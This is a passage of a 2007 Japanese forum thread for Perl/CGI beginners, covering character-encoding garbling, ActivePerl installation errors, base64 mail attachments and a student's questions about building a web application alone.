$ENV{'CONTENT_TYPE'}
これってなんかの文字コードが格納されているのですか?
0283nobodyさん
2007/07/25(水) 16:46:44ID:???中身は、text/html; charset=Shift_JIS
とかだよ
0284258
2007/07/25(水) 17:03:43ID:pV3pjlQZelse { $buffer = $ENV{'QUERY_STRING'}; }
if ($buffer eq "") { &error('アクセスエラー');}
if($ENV{'CONTENT_TYPE'} !~ /multipart\/form-data; boundary=------------/){
@pairs = split(/&/,$buffer);
foreach $pair (@pairs) {
($name,$value) = split(/=/, $pair);
$name2 = $name;
$value2 = $value;
$QUERY2{$name} = $value;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value = change_i_pic_sym($value);
こんな感じになってます。
$ENV{'CONTENT_TYPE'} の、ところをtext/html; charset=Shift_JIS
にしてutf-8にしたいからtext/html; charset=utf-8
に、すれば文字化けふせげますかね?
やってみます。
0285258
2007/07/25(水) 17:10:29ID:pV3pjlQZ無理なのかなぁ・・
0286nobodyさん
2007/07/25(水) 17:11:38ID:???元々何の質問なの?文字化けって何が化けてるの?
0287nobodyさん
2007/07/25(水) 17:16:13ID:???and tweaks to the PHP Manual, including:
http://jp.php.net/
これのproud toって誇りを持ってとか、プライドを持ってとかの意味?
たまにPHPトップのニュースに出てくるけど、そこまで大げさに言わなくてもいいんじゃないの?
0288287
2007/07/25(水) 17:23:15ID:???PHPスレと間違えた
0289258
2007/07/25(水) 17:28:38ID:pV3pjlQZコピペしたんだけどjcode.plにコード変換処理させていてrog.cgiの
ファイルがutf-8にしてあるから文字化けしてるのかなと思い・・
jcode.plをutf-8に対応できるプロトコル?にできればいいんですが
それがどうしていいかわからなくて。説明へたですんまそん。
ほかのcgiファイルにはいってるhtmlはtext/html; charset=utf-8
で文字化けしてないけどrog.cgiを通って出力するhtmlは文字化けしてしまうので・・
0290nobodyさん
2007/07/25(水) 17:42:59ID:???さすが「くだすれ」ww
ものすごいレベルの低さだwww
0291nobodyさん
2007/07/25(水) 18:32:34ID:???少しの変更で移行できる。
その後UTF-8に対応だ。
0293nobodyさん
2007/07/27(金) 17:51:08ID:lN7iMdmd超初心者以前の問題ですみません
0294nobodyさん
2007/07/27(金) 18:03:04ID:???0296nobodyさん
2007/07/27(金) 18:26:21ID:???web上にアップロードして実行するんですか?
0297nobodyさん
2007/07/27(金) 18:33:25ID:???0298nobodyさん
2007/07/27(金) 18:40:42ID:???この板的には、とりあえずhttpサーバ入れて設定するのがいいのでは
0299nobodyさん
2007/07/27(金) 21:08:35ID:???現状を言うと、ActivePerlはインストール完了、
#!/usr/bin/perl
print "Hello, world!\n;
をActivePerlでできたフォルダにhello.plで保存。
再起動済み、次にどうすればいいのでしょうか・・・
ちなみにOSはvistaです。
0300nobodyさん
2007/07/27(金) 21:41:25ID:???0301nobodyさん
2007/07/27(金) 22:07:58ID:???関連付けが正常に行われていれば
(plのファイルのアイコンがトカゲになっていれば)
ダブルクリックで実行。
ただし、
print "Hello, world!\n";
とすること。
1行目は不要。
0302nobodyさん
2007/07/27(金) 23:38:19ID:lN7iMdmdアイコンはトカゲになってます。
ダブルクリックすると開いた瞬間閉じてしまうのは仕様なんでしょうか?
print "Hello, world!\n"; で実行しましたが、結果はどうなってるのやら・・・・orz
0303nobodyさん
2007/07/28(土) 00:46:08ID:???先に開いてあるプロンプトから実行しないと、すぐに閉じてみえなくなります。
sleep 5;と入れれば幸せになれますか?
0304nobodyさん
2007/07/28(土) 07:29:47ID:???for文で繰り返し処理しようと思ったのですがうまくいきません
my %input;
&ReadParse(\%input);
for (1..20) {
$MORAU[&_] = $input{'&_'};
}
やっぱり根本的に間違えてるんでしょうか
0306nobodyさん
2007/07/28(土) 11:42:32ID:YzZLztvi先に開いてあるプロンプトから実行・・・・・・・といいますと?
すみません orz
0307nobodyさん
2007/07/28(土) 14:46:24ID:???まさか日本語が判らないのかね。
謝る前にもう少し質問を明瞭にするべきじゃないかね。
とりあえずprint文の次に>>303のコマンドを入れてみてはどうかね。
0308名無しさん@そうだ選挙に行こう
2007/07/29(日) 04:34:03ID:???0309名無しさん@そうだ選挙に行こう
2007/07/29(日) 08:43:45ID:???0310名無しさん@そうだ選挙に行こう
2007/07/29(日) 11:16:38ID:???つ[ http://www.vmware.com/ja/products/player/ ]
つ[ http://blog.yasaka.com/archives/2005/10/vmware_playervi.html ]
0311nobodyさん
2007/07/31(火) 00:29:12ID:pMcNAP1Aそんな自分も歓迎してくれるらしいと聞いてやってきました。
ActivePerlがインストールできません。
サイトから5.8.8のMSIじゃない方ダウソしたのですが
インストール用のバッチファイル実行中に次のエラーが出て終了。
「Can't spawn "command.com":Not such file or directory at (どう見ても
実行中のバッチファイル自身のアドレス) line 272,<STDIN> line 7.」
なに探してるんだよ。orz
解決法ピンとくる方がいたらば教えてください。
スレチなら誘導たのんます…
0312nobodyさん
2007/07/31(火) 01:10:27ID:???0313311
2007/07/31(火) 01:25:27ID:???おとつい他スレで笑われたけど…orz
0314nobodyさん
2007/07/31(火) 01:36:13ID:???0315nobodyさん
2007/07/31(火) 01:41:39ID:???今チャレンジしてるやつが一応一番進んでるっぽいです。
インストールしてます→エラーです とな。
0316nobodyさん
2007/07/31(火) 01:44:51ID:???どこから来たかを先に書こうよ。同じ問答しなくてよくなるんだから。
かぶってる住人も…いや、くだすれにはあまりいないのか?
Perlについての質問箱 31箱目
http://pc11.2ch.net/test/read.cgi/tech/1181500187/685-694
向こうはこのあと謎の流れになったんだよなあ…。
0317311
2007/07/31(火) 02:03:23ID:???初心者むけスレあったんかいと思って移動。
0318nobodyさん
2007/07/31(火) 03:35:48ID:???> 「Can't spawn "command.com":Not such file or directory at (どう見ても
> 実行中のバッチファイル自身のアドレス) line 272,<STDIN> line 7.」
これって
my $cmd = "xcopy /q /r /i /e /k Perl\\* \"$prefix\" ";
system($cmd) && die "$!\n";
↑この辺になるんだが、xcopy.exe がないとかいうことはないよな?
すまんが画面に出てくる途中経過のメッセージの、アボートするちょっと前から
アボートするまで貼り付けてくれ。
0319311
2007/07/31(火) 04:12:50ID:???xcopy.exeもよくわかんないけども
...
Add the Perl\site\bin and directories to Path?[yes]
Proceed?[yes]
Ok.
Installong ActivePerl...
Copying files...
Can't spawn "command.com":Not such file or directory at (どう見ても以下略
...
って出てます
0320nobodyさん
2007/07/31(火) 04:29:23ID:???探してみます って手に入るんだろうか。
0321nobodyさん
2007/07/31(火) 10:07:43ID:???PATH通ってないとか?ありえない気がする・・・
0322nobodyさん
2007/07/31(火) 23:24:44ID:???でもDOSで打っても使えないんだよな。
いろいろいじってみます・・・
0323nobodyさん
2007/08/01(水) 00:31:48ID:???インストーラと同じディレクトリにつっこんでみたところ少し進みました。
だがつまった…
...
Proceed?[yes]
Ok.
Installong ActivePerl...
Copying files...
Finished copying files...
Relocating...Can't open C:\Perl\bin\c2ph.bat: No such file or directory at
C:\(略)\INSTAL~1.BAT line 307, <$reloc> line 1.
...
ってなって強制終了…ハァ…
ちなみにC:\Perlには何も入ってないです。
いったい何が不味いのでしょうか。
0324nobodyさん
2007/08/01(水) 01:09:29ID:???実は64bit版落としちゃったとかじゃないよな・・・。
前スレ694も書いてたけど、Windows9x/MeだとWindowsInstaller2.0+が
要るんだけど入ってる?
http://downloads.activestate.com/contrib/Microsoft/MSI2.0/9x/InstMsiA.exe
0325nobodyさん
2007/08/01(水) 01:14:35ID:???入ってる入ってる
場所はどこでもいいんですか?
0326nobodyさん
2007/08/01(水) 01:58:42ID:???0327nobodyさん
2007/08/01(水) 02:15:59ID:???311が今試しているのはmsiじゃなくてASパッケージの方だから、
とりあえずMSインストーラーのバージョンは関係ない。
ってMSインストーラーのバージョンを上げてもう一回msiで
やればよかったりして。
0328nobodyさん
2007/08/01(水) 02:25:56ID:???> xcopyはありました、
> でもDOSで打っても使えないんだよな。
いったいまともなシステムなのかい、おまいさんの使っているのは。
Meかどうかってのはおいといても。だ。
> いったい何が不味いのでしょうか。
わけもわからず闇雲に
> COMMANDの中身をまるごと
> インストーラと同じディレクトリにつっこんでみたところ少し進みました。
こんなことやってるからだ。
バッチファイルの中身は実質Perlスクリプトなんだから、適当にいじりなさんな。
...
0330nobodyさん
2007/08/01(水) 10:18:26ID:???AUTOEXEC.BATにPATH設定しとけ
0331nobodyさん
2007/08/03(金) 16:12:48ID:???警告がでてインスコできない。
古いバージョンなら問題なくはいりました。
ただ、最新版をいれようとナニカ変なことをやらかしたようで、
ノートン先生のゴーバックつかって、インストールしてない状態にもどしてから
古いバージョンをインストールしなおしました。
もしかして、その状態なのかな?
0333nobodyさん
2007/08/04(土) 16:47:07ID:???0334nobodyさん
2007/08/04(土) 18:30:38ID:???自分が知っていることは
他人も当然知っていると思い込んでいる。
0335nobodyさん
2007/08/04(土) 19:26:37ID:???気違い認定されると嬉しいけど、アスペルガー認定も嬉しい。
0336nobodyさん
2007/08/05(日) 12:35:06ID:???クリックしてインストールしないとね。
0338nobodyさん
2007/08/05(日) 14:23:50ID:???ただ自分にしか関心がなくて
他人にまったく関心がないってだけ。
0339nobodyさん
2007/08/07(火) 20:51:45ID:???基地外でもないし他人に関心が無いわけでもない。
基地外をアスペルガーと呼ぶのはアスペルガーの人に対して失礼だ。
とマジレス。
0340nobodyさん
2007/08/08(水) 01:27:49ID:???自分のことにしか関心がない、って書いてあるよ
そしてプログラマー板とか見ると、まさに
そのとおり、って感じ。
0341nobodyさん
2007/08/08(水) 08:53:24ID:???他人に関心を持ちつつも、うまく対処出来なくて悩んでるアスペルガーの人の特集やってるテレビ見た。
アスペルガーに対する偏見はすさまじいらしいから、教科書等でもそういう見方をしてしまうのかと。
実は他人とも仲良くなりたいが、自分が傷つきやすく(言葉の裏が読めない為)、相手の傷つくのも理解しにくい(言葉の裏を読めない為)から、本人達はかなり悩んでいる。
本当のアスペルガーってのは、脳が他のことに特化して、脳の中で他人の言葉を深く考える部分が成長していないんだと。
普通、基地外ってのは、相手がうざがったりへこんだりするのを見て喜んだりするような真性のアホを指すことが多いと思うが、
アスペルガーは(たとえ結果的に傷つけてしまう言葉を言うにしても)相手が嫌な思いをするのを目的で嫌な言葉を使っているのではない。
どこかの教科書に「アスペルガーは他人に関心が無く」ってのは、周りからの(偏見に満ちた)見方をしているだけだと思う。
アスペルガーは、アスペルガー本人にしてみれば他人にも関心があるが、アスペルガーじゃない人がアスペルガーを見ると関心が無い"ように見える"だけだと思う。
アスペルガーはただの発達障害の1つであり、何かの能力で他人より優れている部分があることが多いが、かわりに他の能力で他人より劣ってる部分があるだけ。
なんで、アスペルガー=基地外っていうのは偏見だと思うよ。
プログラマー板でアスペルガー名乗ってる人が居るのかどうかも知らないが、基地外に対してはアスペルガーではなく基地外と呼ぶほうが正しいと思うよ。
基地外の別称としてアスペルガーを使うのはそれこそ差別になりかねないから。
と2度に渡りマジレスすまそ
0342nobodyさん
2007/08/08(水) 08:56:46ID:???結局コミュニケーション取れないから仕事にしても何にしても
やりにくくて仕方が無い。
つかなんでこんな話題が続いてるんだw
0343nobodyさん
2007/08/08(水) 15:35:52ID:???0344nobodyさん
2007/08/08(水) 21:37:41ID:???0345nobodyさん
2007/08/13(月) 23:51:38ID:???0346nobodyさん
2007/08/28(火) 21:12:01ID:S4BK4Wc30347nobodyさん
2007/08/28(火) 22:44:17ID:???シンプルに作れば200行は超えない。小規模だろう。
もちろんいろいろ細かなことを気にしたり機能を増やしたりすれば
中規模になっても不思議ではない。
0348nobodyさん
2007/08/28(火) 22:55:12ID:S4BK4Wc3アップローダーなんだが、スイッチ作るよりもそっちのが若干の負荷軽減になるし。
まぁ、漏れは基本的にそっち系なんだが。
0349nobodyさん
2007/09/01(土) 11:35:54ID:J92zlSvRperlでrssを定期的に取得し、取得したrssからurlとタイトルを取得しhtmlに出力
するようなcgiを書きたいです。ムリですか?
0351nobodyさん
2007/09/01(土) 12:21:56ID:???定期的になんかやる CGI なんて面倒だよ。原則として CGI というのは
サーバがクライアントからリクエストがあったときに起動するものだから。
サーバ内で定期的 RSS を取得するプログラムを走らせるか
RSS を取得する CGI に定期的にアクセスするか、
定期的に取得することをあきらめるか、のどれかが自然だと思うよ。
0352nobodyさん
2007/09/02(日) 05:21:02ID:tMV8T4kQ結果をキャッシュして前回アクセスからn秒未満ならキャッシュを渡すようにすれば擬似的に可能
0353nobodyさん
2007/09/02(日) 12:32:14ID:VQ85YXhoつか、クライアント上で取得→生成→sleepをwhileでぶん回す方がいいと思う。
レン鯖ではアカウントヤヴァスだが。
0354nobodyさん
2007/09/02(日) 12:44:47ID:???0355353
2007/09/03(月) 02:09:47ID:???あくまでPerlだけでやるとすればの話。cron使えないと終りだし。
漏れも昔の話だがtempファイルがどうしても不必要に増えてしまうスクリプトを作ったので
同様の悩みを持ったことがあるが、結局は手動でまとめて消すのが手っ取り早いと気付いた。
つか、クライアントで生成してwhileぶん回す必要ないだろ>漏れ
何書いてんだか…
0356nobodyさん
2007/09/03(月) 02:35:41ID:???・sleep仕込んでwhileでぐるぐるするとか→セッション終わったらどうなるんですか(´・ω・`)
…になるんだよね。
サーバ側でもクライアント側でもcronやタスクマネヂャが使えない場合で
なおかつCGIでないプロセスを回しっぱなしにもできない場合は、
頻繁にアクセスがあるサイトにCGIのトリガーを仕込みましょうとか、
そういうヘンテコな実装をするはめになる。
0357356
2007/09/03(月) 02:36:30ID:???0358nobodyさん
2007/09/03(月) 10:36:26ID:5z4DsU1Gみなさんどうやってデバッグしてるんですか?
0359nobodyさん
2007/09/03(月) 14:58:39ID:???最悪の場合、debug.txt作って処理を全て書き込み。
基本的にはエラー表示を使って大雑把に問題を切り分け。
0360nobodyさん
2007/09/03(月) 21:53:27ID:???0361nobodyさん
2007/09/04(火) 02:47:11ID:???0364nobodyさん
2007/09/05(水) 18:27:45ID:y75V3THa▼写メールで画像を送信できます。<HR>
件名、本文には何も書かなくてOK!<BR>
(サイズ制限:容量制限$maximg\k以内)<BR>
<a href='mailto:$SV_MAIL'>写メール送信</a><BR>
<BR>
送信が成功したら<a href='$CGI_MAIL?ID=$id&PASS=$pass'>こちらへ</a>
と、なってるんですがメインのCGIの $SV_MAIL が、カラなんでメール送信できないし
携帯でアクセスしても画像貼れないし、管理のwebmaster@〜のメルアドいれても画像転送できないのですが
どうやって設定したら画像転送できるようになるでしょうか?
わかりにくくてすいません。わかる方いたら宜しくおながいします。
0365nobodyさん
2007/09/05(水) 18:37:00ID:???そして、そのアドレスではプログラムが待ち受けていて
受け取った画像を登録するようになってるはず
ちゃんと説明読んでインストールしたのかね?
0366364
2007/09/05(水) 18:42:12ID:y75V3THa管理のwebmaster@〜のメルアドいれて携帯から送って受信したメール
見たら、英数字だけが大量に送られていて画像がなかったんです。
<そのアドレスではプログラムが待ち受けていて>のプログラムが
おかしくなってるんでしょうか?
0367nobodyさん
2007/09/06(木) 10:07:23ID:???それってContent-Type: multipart/mixed だったりしない?
メールってのは文字しか送れないから、画像のときは
英数字に変換して送られる。
受け取った側は自分で画像ファイルに変換しないと。
0368364
2007/09/06(木) 15:14:11ID:CdaTSQs2に、なっています。
どうやったら英数字に変換して送れるようになりますか?
CGIの中身は・・
# マルチパートの検出
if ($mHead =~ /Content-type:.*multipart\//i || $mHead =~ /Content\-Transfer\-Encoding:.*base64/i)
に、なっています。これじゃだめでしょうか?
これだけじゃわからないですか?
0369364
2007/09/06(木) 15:19:08ID:CdaTSQs2# マルチパートの検出
if ($mHead =~ /Content-type:.*multipart\//i || $mHead =~ /Content\-Transfer\-Encoding:.*base64/i) {
# 区切り文字列で分割
$bound = '';
if ($mHead =~ /boundary\=\"(.*)\"/i)
受信したメールのヘッダが
Content-Type: multipart/mixed; boundary="mimemk00_0_"
Content-Transfer-Encoding: 7bit
と、なってます。
0370nobodyさん
2007/09/06(木) 15:24:09ID:???おそらく本文には
Content-Type: image/jpeg;とかContent-Transfer-Encoding: base64 とかあるだろう
で、何ができてないの?画像の保存?
画像を保存する場所のパーミッションとかじゃないの?
エラーログには何か出てないのか
0371364
2007/09/06(木) 15:47:39ID:CdaTSQs2/9j/4QIGRXhpZgAASUkqAAgAAAALAA4BAgAlAAAAkgAAAA8BAgAHAAAAuAAAABA
BAgAGAAAAwAAA ABIBAwABAAAAAQAAABoBBQABAAAAygAAABsBBQABAAAA0gAAA
CgBAwABAAAAAgAAADIBAgAUAAAA 2gAAABMCAwABAAAAAQAAAJiCAgABAAAAAAA
AAGmHBAABAAAA7gAAAAAAAAAyMDA3MDkwNjE0MDkw MDAAAAAAAAAAAAAAAAAAA
エラーもでてないしこんなのがずらずらでてるだけだす。
携帯から掲示板に画像をアップしたいけどPCからはできるけど
携帯から送るとこうなってしまって解らなくて;;
0373nobodyさん
2007/09/06(木) 16:30:22ID:???0374364
2007/09/06(木) 17:17:30ID:CdaTSQs2初心者なんでデコードしてバイナリデータに戻す方法が
わかりません・・・;;
0375nobodyさん
2007/09/06(木) 17:28:13ID:???CGIの中身中身言ってるけど、それは何のCGIなんだよ
メール受信時にforwardとかでプログラム起動して画像データ抽出してんじゃないのか
CGIでメールを直接読んでるのなら、そこでデコードしてるはずだろ
どういう構造で、今どういう動作をしてて、本当はどういう動作をするべきなのか
全部書けよ
0376364
2007/09/06(木) 17:43:51ID:CdaTSQs2なってます
CGIの中身を貼りたいけど長すぎて貼れないや・・・
0377nobodyさん
2007/09/06(木) 21:42:23ID:???それは、Perlに対してであり、日本語に対して超初心者用なのでは無い。
>>364の質問に的確に答えられる奴はいないだろう。
例えるなら、「和食を作ったのですが、出来た物が辛いです。
どうしたら良いでしょうか?」と言ってるようなもんだ。
こんな質問には超一流の料理人でも答えられないよ。
つまり、Perlを勉強する前に日本語と最低限の
コミュニケーション術を学んでから出直して来い。
0378nobodyさん
2007/09/07(金) 01:22:28ID:???荒らしだから相手にしないほうがいいよ
0379nobodyさん
2007/09/07(金) 01:46:41ID:???そうでないならエンコードも入ってると思うがなあ
エンコードそのものはそんな手間でもないので
自分で書くつもりならbase64とmultipartの扱いだけ調べりゃすぐだ
0380364
2007/09/07(金) 15:23:45ID:2t2s6ltNスルーで終了してくれ
0381nobodyさん
2007/09/07(金) 16:17:59ID:???筋だと思ふ、そういうのは…
改造ならこの板に適切なスレがあるし
0382364
2007/09/07(金) 16:30:08ID:2t2s6ltNありがとう
0383nobodyさん
2007/09/09(日) 12:02:21ID:???TMPL_LOOPでいくつかのラジオボタンを表示してます。
NAMEはすべて変えてます。
ただparamを配列で受けとればいいのですか?
ラジオボタンの個数とNAMEをhiddenで渡さないとだめでしょうか?
0384nobodyさん
2007/09/10(月) 09:56:44ID:???だったらそうなるね
0385383
2007/09/10(月) 11:57:32ID:pVVOBct/なんというか、二択のラジオボタンが複数あるということです。
それぞれどちらがチェックされたかが知りたいのですが
0386nobodyさん
2007/09/10(月) 12:17:53ID:???全部Name変えてるならその名前で全部チェックしては。
チェックされてなければValueが入ってこない
0387nobodyさん
2007/09/10(月) 19:36:15ID:???ラジオボタンのグループごとにidを決める。
ex.radio1,radio2...
次にデコード後に送信内容をハッシュに収めて↓みたく値を参照する。
$DATA{'radio1'},$DATA{radio2'}...
これで中身に其々の値が代入される。
0388nobodyさん
2007/09/11(火) 23:05:59ID:bdpoEocxどのようにすれば取得できますか?
0389nobodyさん
2007/09/12(水) 00:28:37ID:???0390nobodyさん
2007/09/12(水) 00:31:26ID:m2heepaUformなどの受け取りは普通に出来るのですが、
textareaだけは同じように受け取ろうとしても出来なくて、、
0391nobodyさん
2007/09/12(水) 00:52:50ID:???terminalから
> /usr/local/bin/perl < hoge.cgi
とすると、
Content-type: text/html;\n\n
<html>
中略
</html>
みたいに目的のhtml書き出せるんですが、ブラウザからやると
500になってしまいます。。。
パーミッション/転送モードは大丈夫です。
何か考えられる原因ってありますか??
0392nobodyさん
2007/09/12(水) 00:53:02ID:???0393nobodyさん
2007/09/12(水) 00:58:46ID:???エスパーレス、ブラウザに対する出力がなされていない。
次の文章をスクリプトの最終処理の後にくっつけてみれ。
print "Content-type: text/html; charset=Shift_JIS\n\n";
print "テスト";
これでテストが表示されれば、HTMLの出力なりlocation指定するなりすればよかろう。
それでもアウトなら上の二行を少しずつ処理の前方へとズラしていけ。
0394nobodyさん
2007/09/12(水) 03:04:50ID:???> Content-type: text/html;\n\n
> <html>
> 中略
> </html>
print 'Content-type: text/html;\n\n'; と書いてるところを
print "Content-type: text/html;\n\n"; に書き換えろ
じゃないのか。出力がそうなってるらしいし。
0395394
2007/09/12(水) 03:06:38ID:???誤: print "Content-type: text/html;\n\n"; に書き換えろ
正: print "Content-type: text/html\n\n"; に書き換えろ
0396nobodyさん
2007/09/20(木) 19:00:31ID:tH1/iNYn0397nobodyさん
2007/09/20(木) 20:28:19ID:???0399nobodyさん
2007/09/24(月) 16:40:32ID:HMQ03/cj将来的にIT系に就職を考えてるので、もし失敗しても良い経験になるかなと思ってます。
質問なのですが、WebアプリはGatewayの7万円台で買った安パソコンでも作れますか?
一応情報系なのでPerlやコンピュータの基礎知識はあるつもりですが、
制作実務経験が足りてないもので、ましてやWeb系は手を出したことがなく右も左も上もわからない状態です。
調べたところCatalystというフレームワークがよく使われるそうですね。
簡単に作れるというふうに書いてありました。
しかし、常識的に考えると、serverを増強していくのにかなり費用が必要だったりするので、
ちょっと学生が手を出して儲かる世界なのかなと思います。
学生で儲かっている人はいますか?
周りの友達などからは何もそういう類の情報がないので、わかりません。
ちょっと傲慢な申し出ですが、何か少しでもヒントやアドバイスを頂ければと思う次第であります。
0400399
2007/09/24(月) 16:52:16ID:HMQ03/cjWebアプリは一人でも開発できますか?
もちろん、一人が作ったという話はちらほら聞きますが、
Perl暦一年の私でも大丈夫でしょうか?
PerlはLLだから簡単という話もありますが、一人だと出来ることはかなり小規模なものに限られてくるのでしょうか?
たとえば、はてなは少人数ですが、みんなすごいPerl使いなはずなので、はてなを見て「少人数でもあれだけのものが
作れるのだから、一人でもそれなりのものが作れるはずだ」などと思うのは早計でしょうね。
何が言い対価というと、一人だときついかもしれないということです。
個人的にはこのように(勝手に)判断していたのですが、最近どうしても学生のうちに作りたいと
思ってきたので、一人で作れないかと思い始めています。
ちなみに、協力者(同志)はいまのところいそうにないので、まずは一人で作る線で考えている次第です。
Web系のPerl熟練の皆様の判断をいただければと思います。
どうかよろしくお願いいたします。
0401nobodyさん
2007/09/24(月) 17:15:49ID:???できなければリーナスは誕生していない。
CだろうがJAVAだろうがPerlだろうが計算機は所詮計算機でしかない。
0402nobodyさん
2007/09/24(月) 17:40:21ID:???2チャン工業[150円]+0.5% ひろゆき証券[3,270円]+1.7%
みたいに表示させたいです。
parlでできる事は調べたら分りましたが、解説サイトが少なくて分りにくいです。
どこか初心者向けのないでしょうか?
http://www110.kir.jp/study/jissen/script2143.html
↑これをhtmlに変換したけど動かなかった。
http://d.hatena.ne.jp/hetappi/20070313/1173800678
↑これは動いたけど、もっと沢山数値が欲しい時どうするのか分らない。
0403nobodyさん
2007/09/24(月) 18:26:44ID:???本で買える情報は本で買ったほうが早い。
時間が有り余っているなら別ですが。
0404399
2007/09/24(月) 18:28:06ID:HMQ03/cjありがとうございます。
作れるのはいいとして、
しかしサーバ増強などに費用がかかりませんか?
0405nobodyさん
2007/09/24(月) 20:05:11ID:???スタンフォード大学の
コンピューターセンターに
転がってるマシンを勝手に
無断で持ってきて自分達のものにしてた。
また、配送されてきて、
梱包を解かれないで
配送センターに放置されたままの
マシンは
「誰も必要としていない」
と勝手に判断して、それも
自分達のものにしてた。
0406nobodyさん
2007/09/24(月) 20:42:24ID:???いったいどの程度の規模のサイトを作るかによる。
(単位時間当たりのアクセス数、コンテンツの要領、動かすアプリのメモリ使用etc...)
まあはっきり言って、Dellやらのやすもんセットでも、ちょっと型落ちの中古機なんかでも
サイト立てるだけなら全然可能。(それこそ3〜5万位のマシンでも十分)
初めから処理能力とかハード的なこと気にするより、とりあえず自分でサイトなりなんなり立ててみて、
公開とか運用とかしてみる。
それでハード的にきつそうになってから、気にしましょう。
0407399
2007/09/24(月) 21:13:35ID:HMQ03/cj>>406 やってみないと分からないですね。規模は。
目標は、10,000PV/day, 100MBのコンテンツ です。
サイト立てるためにapacheというやつを導入しました。
localhostを立てるまでは出来ました。
この調子でいくとlampかなと思ってます。
Windows依存できたので、1からunix勉強しなおすのは少し大変です。
ありがとうございます。
0408nobodyさん
2007/09/24(月) 22:40:40ID:???その3-5倍程度のサイトを椅子で運営してるがレンタルでもクレーム来たことない。
まぁ、共用ですらその程度なら大丈夫ってことだ。
0409399
2007/09/24(月) 22:50:31ID:HMQ03/cj貴重なアドバイスありがとうございます。
すみませんが、椅子、レンタル、共用というのはどういう意味ですか?
検索にかけてみたんですが、わかりませんでした。
お手数かけてすみません。。
0410nobodyさん
2007/09/24(月) 23:29:42ID:???レンタル・共用が分からないってのは……
0411nobodyさん
2007/09/24(月) 23:34:58ID:HMQ03/cj質問の仕方が悪かったようです。
共用サーバサービスやレンタルサーバなら聞いたことあるんですが、
レンタルや共用が何の略かが分からなかったんです。
何か根本的に基礎知識がかけていると考えたほうが妥当でしょうか?
先達は、どのようにして知識を得たのでしょうか?
0412nobodyさん
2007/09/24(月) 23:41:48ID:???#/usr/bin/perl
#生きてる限り勉強
while(>>411){
print "トライ&エラー";
}
__END__
0413nobodyさん
2007/09/25(火) 00:10:08ID:OOv8Weabなんだかそう言われると、これまで学習を継続してきたことを肯定されたようで
安心します。笑
とりあえず、これまでやってきたことは当たり前のことではありますが、少なくとも
間違ってはいなかったと思えました。
0415nobodyさん
2007/09/25(火) 00:50:17ID:???0416nobodyさん
2007/09/25(火) 00:53:46ID:OOv8Weab動くスクリプトというのはどういうことなんでしょう。
スクリプトは1日平均100行くらいですかね。
やっていた時期は、300行くらいでしたが、最近はネットワークやUNIXに関する勉強にも
追われていて。
0417nobodyさん
2007/09/25(火) 01:14:03ID:???ここで質問するよりも、本を読むよりも↓行って作って来い。
多分その方がいい勉強になる。作れないものは調べて作る。
ご希望のCGIを作成いたします
http://pc11.2ch.net/test/read.cgi/php/1145308869/
0418nobodyさん
2007/09/25(火) 01:37:09ID:OOv8Weabその行動としてどういったものが妥当かを入念に検討しているのです。
私は学生なので、行動範囲も限られはしますが、まずは手始めにWeb applicationを制作しようかと
考えております。
一年perlやってきましたが、これまではこれを生かそうという計画はなかったのですが、
それは行動力がなかったというよりも、
もとからそういう発想がなかったんです。
それがここ数週間に間に急にWeb applicationをやろうという欲望がふつふつとわきあがってきているので
自分でも驚いています。
この欲望を実現すべく、過去の先達たちはものすごい行動力を発揮してこられたのでしょうが、
私も負けてはいません。
>>417
CGIを作ってもらうんですか。
スレッド見ました。
オープンソースのperl scriptを見るのも良い勉強になりますよね。
あと、思うんですが、方法にグタグタこだわるよりも、何をやりたいかが
大事ですよね。
ところが、自分の場合は何をやりたいかが明確なのにそのための方法がまるで
分からないというか少しずつ分かっているのですが、
その分かっていくスピードがあまりに低速であきれているんです。
なんと進みにくいのだろうかと。
だから、少しでも速く進めるように先輩方のお力を頂きたくこのスレッドに
参上いたしました。
0419nobodyさん
2007/09/25(火) 16:28:46ID:???俺が苦労して書いた10行ぐらいの処理が
うまい人だと2〜3行で処理効率も上とか普通にあるし。
0420nobodyさん
2007/09/25(火) 17:11:40ID:???「○○するスクリプトを××行で書きました」
ならまだしも。
0421nobodyさん
2007/09/25(火) 18:43:18ID:???0422nobodyさん
2007/09/25(火) 20:20:09ID:???0423399
2007/09/25(火) 21:39:39ID:tW7VjElz申告すべきものが何もなかったので行を申告しました。
ところで、上のほうで少し書いたかもしれませんが、私は長いプログラムを書いた経験がありません。
そこで、サイト制作に着手しようかと今日サーバについて調査しておりました。
そこで質問ですが、アプリケーション開発はどういう手順で行われるのでしょうか?
一応情報系なので、要件定義から設計・coding、テストといった過程については勉強したのですが、
実際の現場でどういう開発工程がとられているかというのは、
いかなる手段で学べばいいのでしょうか?
やはり、アルバイトが一番でしょうか。
しかし、アルバイトは当たり外れが大きいとも聞きます。
0424nobodyさん
2007/09/25(火) 21:43:43ID:???0425399
2007/09/25(火) 21:55:39ID:tW7VjElzというよりは、これも自分のなかでは地道な努力の一環なのですが、いかがでしょう。
たとえば、第一線の開発者が実際にどんなツールや手法やスタイルで仕事をしているか、
というのは学生が学ぶのは困難なのでしょうか、ということを現在調査中なのです。
0426nobodyさん
2007/09/25(火) 22:14:32ID:???0427399
2007/09/25(火) 22:23:40ID:tW7VjElzはい。どういう形で報告すればいいのか指定くだされば、検討します。
0428399
2007/09/25(火) 22:32:09ID:tW7VjElz現場の空気を吸うことが大事かなと考えまして、それで、さっそくサーバについて調査していたのです。
幸い、私にはやりたいことがそれなりに明確です。だが、よく考えてみると道のりがはなはだしく曖昧なのです。
それは当然です。全く未経験なのですから。
そこで、「ロードマップ」が欲しいと考えたのです。
何かおかしなところがあればご指摘ください。
0429nobodyさん
2007/09/25(火) 22:38:38ID:???0430399
2007/09/25(火) 22:39:50ID:tW7VjElz0431399
2007/09/25(火) 22:41:44ID:tW7VjElz他所で調査をしながら、ここでも質問しているという次第です。
ただし、マルチポストはしていませんよ。笑
0432nobodyさん
2007/09/25(火) 22:42:20ID:???まあ、コードを書いた経験があるだけomotiよかましだろうが
「ハイキング程度の人間がエベレストに挑む」
「プーアルが完全体セルに挑む」
のを単に夢想してるだけだ。
「ロードマップが欲しい」?
地図の見方すら分ってない人間に分るようなフローチャートを無償で作れと?
おまえさんがやるべき事は経験を積むことだよ。
ここでうだうだ、くだらん持論を述べる事ではなく。
さっさとアルバイトに応募しろ、外れだと思ったら止めて他を当りゃいいだけだ。
0433399
2007/09/25(火) 23:08:16ID:tW7VjElzある意味納得です。アルバイトへの応募も必要だし、経験を積むことをするのは必須事項でしょう。
